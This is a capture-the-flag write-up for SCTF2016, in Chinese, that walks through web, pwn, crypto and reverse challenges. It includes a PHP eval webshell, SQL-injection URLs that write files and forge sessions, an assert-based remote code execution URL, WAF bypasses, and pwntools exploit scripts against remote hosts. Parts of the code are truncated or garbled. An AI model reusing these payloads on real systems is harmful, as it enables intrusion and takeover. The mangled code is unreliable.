# 91p3.space/index.php,writeup_for_SCTF2016

转载

weixin_39689819 于 2021-03-18 14:09:32 发布 9411 收藏
文章标签： 91p3.space/index.php

PENTEST

ETO(200)

学到了姿势,盲注还可以这么搞= =测试了几发,发现是xpath的注入:

然后爆破不出来,根据提示说要利用可见字符,于是学到新技能:

就是利用:

存在的字符去盲注出密码。一发脚本,得到最后密码,其中有一位注不出来,猜了几个就猜出是m来了= =:

Homework(200)

随手注册一发,是发现可以利用'php://filter/read=convert.base64-encode/resource='去读到源码,看一下注册的源码。看到了是用imagecreatefromgif等函数处理上传图片的,于是想起了http://www.freebuf.com/articles/web/54086.html:,然后就是改图片上传去包含就行了:

直接执行任意命令,拿到最后flag:

Sycshell(200)

依旧是先看源码,一开始对着index上的东西看了好久…在源码里发现内部资料:

本地添加host去访问,发现是张猫,看源码发现大量jsfuck,找工具进行解密:

发现目录,访问之:

用%0b.1e1可以绕过pass:

然后继续,发现能文件包含,读了下waf:

可以发现把phar以及zip禁了,然而…大写绕过就可以了,下面问题来了,如何去getshell,又学到了东西,利用LFI以及phpinfo去写缓存文件。

参考文章:http://www.freebuf.com/articles/web/79830.html,然后改了发脚本,因为这里可以用ZIP去绕过并读取文件,打包一个zip然后去读取不断上传,最终拿到shell:

```
$c=fopen("/tmp/hhh.php",'w');

fwrite($c,'<?php eval($_POST[f]);?>');

?>
```



DrugMarket1(300)

发现存在一个类似于留言评论的输入框,一开始想的是xss,结果随手试了试文件包含= =

然后发现居然可以读session的临时文件,测试了下,发现是直接把name写进session去,然后直接姓名写入一句话,直接成功拿到shell:

然而发现上去权限做的好死……尴尬了,又想是渗透题,现在这个的shell不是我们最终想要的那个shell,于是翻到配置文件,发现数据库的用户名和密码都是套路,很容易猜对了:



然后登入drug的数据库,利用upadte去xss打到drug的后台以及cookie:

然后登陆到后台:

目测是要执行命令,然后主办方说要绕waf,然后绕啊绕,发现空格也不行,但能用{IFS}去绕过,同时nc监听的端口只能是80,于是思路就明确了:

最终payload以及flag:

然后在自己的vps上连接就好了:

Hackme(300)

写在题目前面的话,这个题目真心不只值300分

拿到题目,发现存在注入点,但是问题在于空格被过滤了,使用/*111*/绕过,可以读取文件,尝试读取nginx的错误日志找到后台,然后尝试读取php文件权限不够。下午得到提示xss和管理员会查看备忘录,想到写xss到数据库中,发现确实可以x到数据但是没用,结合提示想到利用xss去读取浏览器缓存,方法无非就是伪造登录框,hook登录按钮,偷窃浏览器的已保存密码之类的,在比赛中因为不可能有人手动输入,所以最后可能的就是利用浏览器保存的密码。于是发送一个表单过去让他自动填上username和password,之后get回本地,得到密码nizhendeyongyuancaibudaomimade,这是对我们赤裸裸的嘲讽,登陆发现是文件下载,之后尝试下载本目录下所有文件,发现../ ..被过滤了,但是只过滤了一次,使用…/./绕过下载其他的文件。源码见附件。发现一个session.php,里头源码是freebuf的http://www.freebuf.com/articles/web/90837.html这个文章,想到可控session,然后发现sql注入那里可以写文件到/tmp目录下,之后去读取php.ini发现session的存放位置是/tmp/,意味着session我们完全可控,另一个就是Path路径里包含了/tmp/,也就是说当遇到一个未知的类,spl_autoload_register会自动去Path路径里寻找"类名.inc"或者"类名.php",并自动include进来,而/tmp/目录又是完全可控的(sql注入写文件)。于是首先http://hackme.sctf.xctf.org.cn/index.php?id=0.0union/*!00000select*/'<?phpr $_GET[a]($_GET[b]);r?>'into/*111*/outfile'/tmp/albert6.php写入文件,然后http://hackme.sctf.xctf.org.cn/index.php?id=0.0union/*!00000select*/load_file/*000*/('/tmp/albert6.php')读取文件确认写进去了,然后http://hackme.sctf.xctf.org.cn/index.php?id=0.0union(/*!11111select*/'a|O:7:"albert6":0:{}'into/*1234*/outfile'/tmp/sess_albertchangalbertchangalbe')导出session

,然后带着session登陆后台,同时访问http://hackme.sctf.xctf.org.cn/05d6a8025a7d0c0eee5f6d12a0a94cc9/main.php?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQ在web目录下生成c.php,密码为c之后访问,

成功执行phpinfo,然后去读取文件,发现并不能成功读取,猜测有waf,于是在http://hackme.sctf.xctf.org.cn/05d6a8025a7d0c0eee5f6d12a0a94cc9/目录下写入.user.ini 内容open_basedir=/,然后就可以直接读取上层目录了,尝试一下写入一个.user.ini来覆盖上层目录的open_basedir的设置。

耐心的等待5分钟,使用glob并结合file_get_contents,查找一下就能发现flag

在这里发现了flag

MISC

签到题(10)

直接微博询问即可,跟去年一模一样。。。都是套路

神秘代码(200)

拿到题目二进制查看图片发现0xFF 0xD8开头,马上搜索文件结尾标志0xFF 0xD9,找到压缩包r.zip。

r.zip包可以无限次解压。

期间尝试修改zip突破死循环,使用Stegsolve提取,然后做了非常多的无用功。直到官方提示。

开始安装stegdetect。

找到ftp://ftp.gwdg.de/pub/linux/misc/ppdd/jphs_05.zip。

然后尝试提取数据,开始猜口令。SCTF,SCTF2016,CTF,sycsec等不断尝试。

最后竟然发现是空口令。



拿到flag:SCTF{Hacking!}

Misc300(300)

首先分析pcap,最可疑的地方是qq.exe,而且紧接着有ssl流量

继续分析发现在百度盘下载了一个QQ.chm的文件,打开:

虽然没啥东西,但是为后面埋下了伏笔



二进制显示这个文件头是ITSF,也是个chm文件,打开

猜这个qq有问题

果然,这下pem知道了

放到wireshark里解密ssl流量

其中有个zip,打开得到一个记录文件



这个flag要修正下,按钮弹起后才输入,所以加个o

完整flag:sctf{wo_de_mi_ma_123xxoo}

PWN

Pwn100(100)

栈溢出,覆盖argv[1]读flag。

脚本:

```
#!/usr/bin/env python2
# -*- coding:utf-8 -*-
from pwn import *
import os
# switches
DEBUG = 1
# modify this
io = remote('58.213.63.30',60001)
# define symbols and offsets here
# simplified r/s function
def ru(delim):
return io.recvuntil(delim)
def rn(count):
return io.recvn(count)
def sl(data):
return io.sendline(data)
def sn(data):
return io.send(data)
def info(string):
return log.info(string)
# define interactive functions here
# define exploit function here
def pwn():
ru('?')
payload = (504) * 'A' + p64(0x600DC0)
sn(payload)
io.interactive()
```

return

if __name__ == '__main__':

pwn()

Pwn200(200)

整数溢出+FSB

脚本:

```
#!/usr/bin/env python2
# -*- coding:utf-8 -*-
from pwn import *
import os
# switches
DEBUG = 0
got_overwrite = 0x0804B164
# modify this
if DEBUG:
io = process('./pwn200_bd081fbfb950838cd093174ce5e1cf78')
else:
io = remote('58.213.63.30',50021)
if DEBUG: context(log_level='DEBUG')
# define symbols and offsets here
# simplified r/s function
def ru(delim):
return io.recvuntil(delim)
def rn(count):
return io.recvn(count)
def sl(data):
return io.sendline(data)
def sn(data):
return io.send(data)
def info(string):
return log.info(string)
```

```
# define interactive functions here
# define exploit function here
def pwn():
if DEBUG: gdb.attach(io)
ru(':')
sl('2')
ru('Exitn')
sl('2')
for i in xrange(3):
ru('Protegon')
sn('2')
sl(r'%' + str(got_overwrite) + 'c' + r'%' + '12$n')
sl(r'%' + str(0x0804A08E) + 'c' + r'%' + '24$n')
io.interactive()
return
if __name__ == '__main__':
pwn()
Pwn300(300)
```

堆溢出,伪造堆块触发unlink改指针。

脚本:

```
#!/usr/bin/env python2
# -*- coding:utf-8 -*-
from pwn import *
import os
# switches
DEBUG = 0
# modify this
if DEBUG:
io = process('./pwn300_96ced8ceb93c5ddae73f8ed9d17b90ba')
else:
io = remote('58.213.63.30',61112)
```

```
if DEBUG: context(log_level='debug')
# define symbols and offsets here
# simplified r/s function
def ru(delim):
return io.recvuntil(delim)
def rn(count):
return io.recvn(count)
def sl(data):
return io.sendline(data)
def sn(data):
return io.send(data)
def info(string):
return log.info(string)
# define interactive functions here
def buy(size):
ru('Exitn')
sl('1')
ru(':')
sl(str(size))
return
def show(index):
ru('Exitn')
sl('2')
ru(':')
sl(str(index))
return rn(0x100)
def edit(index,content):
ru('Exitn')
sl('3')
ru(':')
sl(str(index))
```

```
ru(':')
sn(content)
return
def delete(index):
ru('Exitn')
sl('4')
ru(':')
sl(str(index))
return
ptr = 0x08049D80
# define exploit function here
def pwn():
if DEBUG: gdb.attach(io)
buy(256)
buy(256)
buy(256)
PAD_SIZE = 260
payload1 = PAD_SIZE * 'A' + p32(0x109+8)
edit(0, payload1)
fakechunk = p32(0) + p32(0x81) + p32(ptr-4) + p32(ptr) + 0x70*'A' + p32(0) + p32(0x80)
edit(2, fakechunk)
delete(1)
payload2 = 4*'A' + p32(0x08049D18)
edit(2, payload2)
buf = show(0)
free_addr = u32(buf[0:4])
libc_addr = free_addr - 0x00076c60
offset_system = 0x00040190
system_addr = libc_addr + offset_system
edit(0, p32(system_addr))
edit(1, '/bin/shx00')
```

delete(1)

io.interactive()

return

if __name__ == '__main__':

pwn()

CODE

Code100(100)

这题目真心的醉了。

首先 openssl rsa -in public.key -pubin -modulus -text分解出n,e ,之后yafu用factor秒分出q,p,使用rsatools.py生成私钥



然后自己写脚本解密

得到第一个密码。解压,同样的道理解密n,e,yafu分解,用rastools生成私钥,openssl rsautl -decrypt -in level2.passwd.enc -inkey private2.pem -out /tmp/passwd2 && cat /tmp/passwd2 解密得到密码2,密码3同样



解压最后得到flag: SCTF{500_sl,pLE_tRE1S7Re_iN_rSa_AtTa3K_2_24CASF}



附上一血

Code150(150)

写在前面的话:这个题目。。。我们使用的是主办方绝对不希望我们使用的方式。。。我们当时也确实是没想到这个gcd的方式。。学习了,主办方应该是想考察我们数学功底,以CRT的原理中关于什么时候可以求解方程组为思路。但是我们纯粹变成了编程跑数据

(⊙﹏⊙ )b

首先尝试分解10个n,发现一个都不能分解,自己写了一个基于factor的分解质数的Python脚本,在亚马逊云弄了一个64核服务器上跑到第二天上午,终于跑出来一组:

208233691145562607629135888444718697257629858122159879938677836300514202410579123850554 8
=
122281872221091773923842091258531471948886120336284482555605167683829690073110898673260 7
*
170289910812835465096338542997477487359435798641693381125276912070602548711328219190092 9

于是可以写脚本解密了:

```
import gmpy

p=122281872221091773923842091258531471948886120336284482555605167683829690073110898673260

q=170289910812835465096338542997477487359435798641693381125276912070602548711328219190092

e=65537

n=208233691145562607629135888444718697257629858122159879938677836300514202410579123850550

print  n==p*q

phi = (p-1)*(q-1)

d = gmpy.invert(e, phi)

c=0x68d5702b70d18238f9d4a3ac355b2a8934328250efd4efda39a4d750d80818e6fe228ba3af471b27cc529a4

msg = pow(c, d, n)

print msg

print ('0' + hex(msg)[2:]).decode('hex')

#sH1R3_PRIME_1N_rsA_iS_4ulnEra5le
```

得到数据之后写解压得到flag :SCTF{5o0_mAtl4E_TrE1SUre_lLn_rSA_a55aCk_3}

写在后面的话:这个n分解出来之后我发现,所有的n值存在一个公约数,也就是说,这个题目其实很简单的。只要想到这个,直接使用Python的gcd就可以分解出来一个n,然后就做出来了,但是当时我想多了。。。我以为是考察数据的并行运算。。。。

Code300(300)

有两轮加密

第一轮:

注意到这一组加密数据中有两个n是相同的,而且加密内容相关,并且大部分相同

可进行 Coppersmith’s Short Pad attack和 Franklin-Reiter related messages attack

参考http://mslc.ctf.su/wp/confidence-ctf-2015-rsa1-crypto-400/

完整代码:

```
from sage.all import *

e=3

n1=25357901189172733149625332391537064578265003249917817682864120663898336510922113258339

C1=21166198637119799018016204295250536166915856638919405261840915314988042873432620518577

C2=21166198637119799018016204295250536166915856638919405261840915314988042873432620518577

PRxy. = PolynomialRing(Zmod(n1))

PRx. = PolynomialRing(Zmod(n1))

PRZZ. = PolynomialRing(Zmod(n1))

g1 = x**e - C1

g2 = (x + y)**e - C2

q1 = g1.change_ring(PRZZ)

q2 = g2.change_ring(PRZZ)

h = q2.resultant(q1)

# need to switch to univariate polynomial ring

# because .small_roots is implemented only for univariate

h = h.univariate_polynomial() # x is hopefully eliminated

h = h.change_ring(PRx).subs(y=xn)

h = h.monic()

roots = h.small_roots(X=2**40, beta=0.3)

assert roots, "Failed1"

diff = roots[0]

if diff > 2**32:

diff = -diff

C1, C2 = C2, C1

print "Difference:", diff

#x = PRx.gen() # otherwise write xn

#x=1002

x=xn

g1 = x**e - C1

g2 = (x + diff)**e - C2
```

```
# gcd
while g2:
g1, g2 = g2, g1 % g2
g = g1.monic()
assert g.degree() == 1, "Failed 2"
# g = xn - msg
msg = -g[0]
# convert to str
h = hex(int(msg))[2:].rstrip("L")
h = "0" * (len(h) % 2) + h
print `h.decode("hex")`
```

得到F4An8Lln_rElT3r_rELa53d_Me33Age_aTtaCk_e_l2_s7aP6

减去userid为

F4An8Lln_rElT3r_rELa53d_Me33Age_aTtaCk_e_l2_s7aLL

进入第二轮:

明显的小指数广播攻击,参考

http://codezen.fr/2014/01/16/hackyou-2014-crypto-400-cryptonet/

完整代码:

```
from struct import pack,unpack
import zlib
import gmpy
def my_parse_number(number):
string = "%x" % number
#if len(string) != 64:
#    return ""
erg = []
while string != '':
erg = erg + [chr(int(string[:2], 16))]
string = string[2:]
return ''.join(erg)
def extended_gcd(a, b):
```

```
x,y = 0, 1

lastx, lasty = 1, 0

while b:

a, (q, b) = b, divmod(a,b)

x, lastx = lastx-q*x, x

y, lasty = lasty-q*y, y

return (lastx, lasty, a)

def chinese_remainder_theorem(items):

N = 1

for a, n in items:

N *= n

result = 0

for a, n in items:

m = N/n

r, s, d = extended_gcd(n, m)

if d != 1:

N=N/n

continue

#raise "Input not pairwise co-prime"

result += a*s*m

return result % N, N

sessions=[

[21778816622407043254249033744556437773178718344170907687035355752306254181495272254316321

0x36a66571751faf3bbf6ad760adbcd1be123d2ab526d2fbf6697ec38c7d4ee7d709d8ab3f154092410f46ae18ac

[16903196746534976770297193591563118819340996326353278926932894774572875445074235633598231

0x51bd5b18e527dc109cd202f39841bb39422dcc1f566f59da4c623d7166730dded90963c825ba6300c0dab181f

[28265280613183354342105753166996328090546389493099576671064332905506043149645894359529531

0x8df94ca10d136659aab94677d5826184addcef8cc563009822519b157c368d17434b9b6fa08ad783003d0aafc
```

[249871278994774650122512337434932535364768544956371785991920502253131022194113878984872(

0xbe73713e7928b1970d6dd531e0c9a6a3884bef82c3a39a043f226e88cfe54a3dc28c515893463e1039a14e49

[20690588543759338459201261102131523557602951858621022352768878495764772818047444561085 94

0x321516de98f8d6584adb01d5783d13cee2daf74f2285c693debe3a264c0b9a637b42c17a61a3870c70acdfdcb

[16517102081052861630895919001217675526698277369300591711866049102573903641338088651465 35

0x52cc422ae1012a854e0d29b9b1da6e68ef3a3fa6b8d7551c1c664875e277149411244279eddcf9656fe182c4b

[23846860290279092907572444079539617462214354239782236629759070773513973525414800313619 14

0x7a4c0c06b31aa9be92dfcc10af0b4d99429bd0d2465d43c56e7488136db91347f7e40213e82b5bbcafee44961

[17566701282456258503708647404558041579376753416636895921624574676679101724033623273314 11

0x3fc5f6519c720d08da16c2df2112ba76d718329a8a8cdcace3bc2b07d603cad7e492ce13ce537bddef922ee8fa

[16253121383768278209005558577055644569117707124854929186667128310606493315013449858902 61

0x6db31ce529ff59c5e2a06cee7c7ff63b26b5297a359c87edd61d144285a99cb22a311a75dbe8d5a1a7fdcc8eef

[20290309021976181378150079070647362877361051642116884020698310582404348426365349349830 93

0x47fc4dec774af58a10a86f32aca278b7333e2a203f32d1c3829f77ee1ca4bb26967d46f2501ebf00f1b7d183245

[20259407522505114352438066790031189161692762499783918150615320203040060613651670031363 00

0x3879320d2b72a7d476f911a621a2cde56cb4f11bf6f2092a1d0e37732e39587ea5c8cc8012b865315823bb095

[24318293739308347213079240931318897629475758007636953845697423973047760974896821730716 87

0x3744c133e79ad8c24d42c184ef789b2e8f98a436413a1759a3d3877a7be779d20237ca9f8795da75101b58f67

[16767369591676471537411283105560692097106856689402131801972215792616408134559976771743 13

0x80e66bec156f4f23de053a26b431b5c9403b866b9e3db1bff70294fa02b9e2b190784b2c00a80b8ca68ada1a3

[21648683502998984705866045484544947641100049872713930000863461784192971714383405382729 38

0x32519d4dcbe20762cd311f137403d55f2991779a869854303a92937f1c0ac2b3c8de9462335fbdfcfc80a2d499

[20724767138767480789498994298180270826474867340264049260163785892907430402804218092022333

0x4e4196a7b0c663ed59ad6674fd59f2a26f9e48e10fcc360d78cb35b5dd641402b32a39e828925b0155eb9f814

[17212295439640377055688217979984966188585299016873359234729084493184304625628968472723000

0x299118bc357f5e546d46209bb096684e336ee29225c2a214537d3a0e0368537e0dfd6780c2890ef87766679e

[23472084745304537438905071529263024519722889277035896476683227577770819544818596032060795

0xac28242337642cabf950162a965ab69d9f2e2858e732cb0c97bfeecbc965670dacda76edb6e591e07bab71eef

[16966451712809405570019731700441708658117157522172037602215253538847704156034447243308995

0x19d171bf0005dc1f4d11f80d598687610cc6c062a1d2ace2b2e835f528117df7ccc873553bc413b603c1605335

[16371772865482869886487545751875918720227349410350898523261337902433007760724960134070655

0x3d81bd9c0aa88eb6bafec40e4198f2c55d56575914d1a7aa81dfb0256b9429f7bcf5a3c7ec01a098a0af98e016

[18739467511848988131315883128122206736146672097070557004405077164871943414492542793367545

0x49ffc1accb080b62290fb874f49e7f335d7b8528439118ee0af2644375368e9039da303a9d9147130a231478a2

[24144341786129954104766079581733537330837102620507111869913290242909722665909732313693422

0x67962b2d35ad0157a54fc22d839fd73b09e51533132ab398f3d1d875d8e1939788c72b715eaf91888f0d34fd50

[16247040679920031441664101450549224846915267128012038160169809988022529023260360238909955

0x144585e5cd2b72208d7462bc84f4de80f3ce6d97071cb0476143c12f6ebe44e48f324b4461fe7ad24361bfb6d3

[18551012655167926464387770233050992041279846989528863834161102801461525909041686843284933

0x6ad6572818211ca2d1448d6cac860de2cb02e03c65f0351552801b722e4e423f5217773ec31571729cb20283

[22970054162939118362445461906385901439221833049069290764726458403981881590911408985071085

0xa9e70e690c9c8e694935251b7f4c07012190aafbbbdbe81456258abf4d490fa2d42bdf56f7012fa3b1714cd19b

[18385820490756498630845099637385884526289633356624061254787168690401969931484681461188233

0x2e2e5bae9239315b08b9e7df8dcc04ce3dd490a337b5de84b9901f3691854b2e854cdbbb983cef522dce64bd

[3028191638812867187060835812753550859725325684891616657138792832496893448307997988295892

0x1c78ed0ac3656077c3a47c2430d0183cca199670af2aa8192e555a3c0ae2e83946172ee821361cc9570ae66e

[2930274192093097171595896293157369305921451817568297276043044299228071886291601962164616

0xdefd52684b8ff42585141f2fde551200860d69ff86c2f05f130f6978952fa0eca4515e60fc81c1d9388bda4baf85e

[1800267774277690849152882023379869871610701179950786111312437249582551583321478158014008

0x5f76fe81f0136f3855d9f1923e0cee1f768b25effd54fec7e1438425ea744b85aa19c9e2e8e175ad43d1da9ea86

[1738569096750487465908128580773694655880224428804151704210818767271737932917833449611316

0x869f17d7e1450b0540ec2df5d43f6f82a246ced4b8287352580f77615721bd10b3a7f7c7cb83d63fec965c1a3fc

[2144677741535113014720507989681255614476034113198032845747921100392007354726053984279851

0x24e479052ff3ee7db3b88eaac7072d86f2cbb7e5b3c583d66ed21dd5248529aebe30e45f2159dcf1119f7fd52b

]

```
data = []

for session in sessions:

e=19

n=session[0]

msg=session[1]

data = data + [(msg, n)]

print "-" * 80

print "Please wait, performing CRT"

x, n = chinese_remainder_theorem(data)

e=19

realnum = gmpy.mpz(x).root(e)[0].digits()

print my_parse_number(int(realnum))
```

REVERSE

Reverse100(100)

对输入的奇数位字符和偶数位字符做了不同的处理,奇数位的处理

偶数位的处理

最后的校验

拿到flag的代码

```
#include

#include

void main() {

unsigned char cipher[19] = { 0xBC, 0xEE, 0x7F, 0x4F, 0x3F, 0x53, 0xFA, 0xF8, 0xD8, 0xE8, 0x5E, 0xCE, 0x70,
```

```
for (int j = 0; j

if (j & 1) {

for (unsigned char i = 32; i

unsigned char input = i;

input = (input >> 7) | 2 * input;

input ^= 0x24;

if (input <= 0x63)

input += 9;

if (input == cipher[j]) {

printf("%c", i);

}

}

}

else {

for (unsigned char i = 32; i

unsigned char input = i;

input += 10;

input = (input >> 3) | 32 * input;

input ^= 0x17;

if (input > 0x2D && input <= 0x37) {

input += 20;

}
```

```
if (input == cipher[j]) {

printf("%c", i);

}

}

}

}

}
```

Flag:SCTF{Se9177entf@u1t_s73}

Reverse150(150)

这题先对输入的name做了DES加密,然后对keyfile进行RSA解密,最后比较他们的值是否相等

我们的思路是拿到name做DES加密后的密文,用RSA加密的公钥对其进行加密就可以得到keyfile,DES加密后的密文可以通过动态调试得到,最重要的一步是获得公钥,程序已经有了私钥,但是PRIVATEKEYBLOB格式的,google了一发,可以先用http://www.jensign.com/JavaScience/PvktoJkey/MSPrivKeytoJKey.java把PRIVATEKEYBLOB格式转换为PKCS#8格式,再用http://www.jensign.com/JavaScience/PvkConvert/PvkConvert.txt得到PUBLICKEYBLOB格式的公钥,最后对所有name的DES密文进行RSA加密就得到了keyfile,还要注意生成的keyfile中不能有0字节,代码如下

```
#include

#include

#include

using namespace std;

void main() {

unsigned char cipher[30]
[16] = { { 0x93, 0xc6, 0xb5, 0xc3, 0xe0, 0x35, 0x2d, 0xaf, 0xa3, 0x48, 0x6e, 0x41, 0x44, 0xab, 0xe1, 0x3c },

{ 0x7d, 0xa7, 0x85, 0x29, 0xa1, 0x56, 0xb8, 0x53, 0xe1, 0xda, 0x11, 0x6, 0x12, 0x58, 0xad, 0xaf },

{ 0xd4, 0xc2, 0x3, 0x36, 0x50, 0x94, 0x3d, 0x75, 0x67, 0x74, 0x3f, 0x1e, 0x17, 0x76, 0x2d, 0xd1 },

{ 0x37, 0xa7, 0xbe, 0x1d, 0x5d, 0xb1, 0x84, 0x6a, 0x2d, 0xaf, 0x3c, 0x9, 0xe4, 0xf4, 0xd, 0x65 },

{ 0x13, 0x21, 0x49, 0xbe, 0x19, 0x9e, 0xa6, 0x59, 0x1b, 0x2d, 0x22, 0x6f, 0xd1, 0x76, 0x99, 0xaa },

{ 0x8b, 0x17, 0x43, 0xc8, 0xbb, 0xa, 0x23, 0xcb, 0x94, 0xc, 0xfb, 0x67, 0x3a, 0xf0, 0x54, 0x4c },

{ 0xae, 0x7a, 0x7a, 0x6a, 0x89, 0x2c, 0xbf, 0x33, 0x68, 0x47, 0x90, 0x25, 0x9a, 0xc5, 0x5e, 0xe6 },

{ 0xe0, 0x3, 0xa5, 0x9a, 0x73, 0xbf, 0x24, 0x77, 0xcd, 0x99, 0xa1, 0xb7, 0x65, 0x64, 0x9b, 0x57 },

{ 0x46, 0x4d, 0xa6, 0xd0, 0x24, 0xbc, 0x6f, 0x24, 0x20, 0x2d, 0xdf, 0x6e, 0xa8, 0x44, 0x9d, 0xb7 },

{ 0x82, 0x6e, 0xe5, 0x11, 0xda, 0x58, 0xaf, 0x4e, 0x4, 0x92, 0xa4, 0x68, 0xe6, 0xfc, 0x38, 0x6f },
```

```
{ 0x17, 0x2d, 0x13, 0xb, 0x7, 0x24, 0x42, 0xc3, 0xe1, 0x4e, 0x51, 0x30, 0x2f, 0x60, 0xf2, 0x9d },
{ 0xfe, 0x6f, 0xf, 0xa7, 0xb9, 0x7a, 0xf4, 0x97, 0x74, 0x82, 0x8f, 0xd3, 0x52, 0xa4, 0xbd, 0xaf },
{ 0x30, 0xb2, 0x1b, 0xef, 0x4, 0x64, 0x6a, 0x72, 0x4a, 0x8f, 0xa0, 0x24, 0xc8, 0x9a, 0x4f, 0xbc },
{ 0x7c, 0xac, 0xe7, 0xac, 0x11, 0xd1, 0x41, 0x5d, 0xf4, 0x88, 0xa6, 0xab, 0x94, 0x64, 0xde, 0x9f },
{ 0x6f, 0x6d, 0x5d, 0x65, 0xa, 0x7, 0x77, 0x4d, 0xf, 0x64, 0xa7, 0xf5, 0x91, 0x74, 0xd4, 0x1 },
{ 0x4e, 0x2, 0x1c, 0xe5, 0xeb, 0x9b, 0xa, 0xca, 0xed, 0x93, 0xc9, 0x20, 0xb5, 0xc1, 0xe5, 0xbf },
{ 0xdb, 0x1e, 0x44, 0x50, 0x88, 0x1c, 0xeb, 0xdb, 0x3c, 0x7b, 0x15, 0x1, 0x4a, 0x20, 0x82, 0x62 },
{ 0xe8, 0xea, 0x4f, 0x8f, 0x45, 0x30, 0x31, 0xd7, 0xac, 0xfa, 0xb6, 0xed, 0x1b, 0x30, 0x6b, 0x38 },
{ 0xf2, 0x6b, 0x59, 0xb3, 0xdf, 0x7d, 0x9d, 0xa3, 0x13, 0xc2, 0x4d, 0xfc, 0xb, 0x43, 0x77, 0x6f },
{ 0x73, 0xc5, 0x49, 0x0, 0x1e, 0x2d, 0x7e, 0x23, 0x58, 0x70, 0x19, 0x8d, 0x90, 0x31, 0x5f, 0x88 },
{ 0xdb, 0x2c, 0xac, 0xc4, 0x9d, 0x12, 0xb4, 0x92, 0x6b, 0x1a, 0xa8, 0x85, 0xbe, 0x34, 0x2e, 0x8e },
{ 0x55, 0xe, 0xdc, 0x5e, 0xb7, 0x74, 0xda, 0xf8, 0x17, 0x5f, 0x1b, 0x77, 0xa4, 0x72, 0xc5, 0x8e },
{ 0xe7, 0xb1, 0x29, 0xe2, 0x3, 0xf5, 0x92, 0x9f, 0x7c, 0x9d, 0x6c, 0xd, 0xb3, 0x5a, 0x38, 0xde },
{ 0xde, 0xfc, 0x71, 0x4e, 0x86, 0xe1, 0x36, 0x29, 0x4e, 0x19, 0x68, 0x2f, 0xfc, 0x66, 0x92, 0x50 },
{ 0xb7, 0xdc, 0x87, 0x8, 0xce, 0x4, 0xd0, 0xc3, 0x70, 0xb0, 0x4c, 0x43, 0x62, 0xda, 0x5b, 0x87 },
{ 0x6a, 0x45, 0x7a, 0x27, 0xe0, 0x2a, 0xf6, 0x7, 0x70, 0x12, 0x7c, 0x28, 0x8f, 0x15, 0xd2, 0x2f },
{ 0xf0, 0xf, 0xf7, 0xbd, 0x92, 0xa, 0x13, 0x54, 0xa7, 0x1d, 0x5b, 0x74, 0x67, 0x4a, 0x17, 0x42 },
{ 0x81, 0x63, 0xcc, 0x58, 0xb6, 0x92, 0xb2, 0x51, 0x16, 0xd2, 0xcd, 0xe4, 0x24, 0x3c, 0xfd, 0x57 },
{ 0x9, 0x59, 0x13, 0xbd, 0x1a, 0x8c, 0xe4, 0xbb, 0x1d, 0xf4, 0xad, 0x46, 0xc6, 0xbd, 0x7a, 0x25 },
{ 0x76, 0xff, 0xa8, 0xaf, 0xe1, 0xe, 0x42, 0x37, 0x59, 0xb4, 0x5f, 0x78, 0xb, 0x48, 0xe1, 0xa7 } };
for (int i = 0; i
HCRYPTPROV phProv = 0;
HCRYPTKEY phKey = 0;
DWORD len = 16;
unsigned char text[128] = { 0 };
memcpy(text, cipher[i], 16);
unsigned char pub_key[148] = {
0x06, 0x02, 0x00, 0x00, 0x00, 0xA4, 0x00, 0x00, 0x52, 0x53, 0x41, 0x31,
0x00, 0x04, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0xF7, 0x4A, 0x9D, 0x9B,
0xAA, 0x80, 0x5A, 0x89, 0x8C, 0x00, 0x0A, 0x7B, 0xE2, 0xDC, 0x59, 0x9D,
0x3E, 0xF1, 0x9D, 0x10, 0x33, 0xD8, 0xF6, 0xA5, 0x60, 0xC3, 0x20, 0xBA,
```

```
0xC7, 0x21, 0x80, 0x08, 0x53, 0xDB, 0x5E, 0x60, 0x05, 0x65, 0xD0, 0xF5,
0x88, 0xA4, 0x0C, 0x76, 0x8D, 0x42, 0xEF, 0x27, 0xDB, 0x83, 0x79, 0xD7,
0xCC, 0xDB, 0x43, 0x9F, 0x7E, 0xDF, 0xCA, 0xC3, 0x62, 0x46, 0xD8, 0x3C,
0xEA, 0x8D, 0xD4, 0x48, 0x04, 0xC0, 0xC7, 0xD9, 0xD3, 0xFF, 0xB0, 0xF5,
0x0C, 0x0D, 0x82, 0xDE, 0x6D, 0x0B, 0x20, 0xCB, 0x8C, 0x79, 0xAD, 0x98,
0xFE, 0x32, 0xC4, 0x9F, 0x19, 0xE1, 0xDA, 0x16, 0xFE, 0xDA, 0x5E, 0x52,
0xE4, 0xBF, 0xC5, 0x2F, 0x06, 0x32, 0x73, 0x1A, 0xDF, 0xC5, 0x56, 0x37,
0xFC, 0xC0, 0xAB, 0x40, 0xBE, 0x0B, 0x66, 0x6E, 0xA2, 0x74, 0x06, 0x66,
0x7E, 0x42, 0xCD, 0xD9
};
if (CryptAcquireContext(
&phProv,
NULL,
"Microsoft Enhanced Cryptographic Provider v1.0",
PROV_RSA_FULL,
CRYPT_VERIFYCONTEXT)) {
if (CryptImportKey(phProv, pub_key, 148, 0, 0, &phKey)) {
if (CryptEncrypt(phKey, 0, true, 0, text, &len, 128)) {
printf("successn");
char filename[15] = { 0 };
sprintf(filename, "key%d.txt", i + 1);
FILE* file = fopen(filename, "w");
fwrite(text, 1, 128, file);
fclose(file);
}
else {
printf("error3n");
}
}
else {
printf("error2n");
```

```
}

}

else {

printf("error1n");

}

}

}

Reverse200(200)
```

可执行文件是个install4j的程序,用procmon监控进程文件操作能够提取出一个trustme.jar,用jd-gui打开发现jar经过混淆,静态分析发现得出的算法是错误的。于是用IDEA设置Path to jar进行调试,发现动态加载了一个类,里面是关键函数,然后写脚本倒推即可。

脚本:

```
#!/usr/bin/env python2

# -*- coding:utf-8 -*-

from ctypes import *

def u8(x):

return c_uint8(x).value

result = [-81, 52, 52, -39, -64, 43, 49, -116, -100, -115, -81, -119, 34, -7, 56, 92, 23, 78, 115, -120, 77, 83, -22]

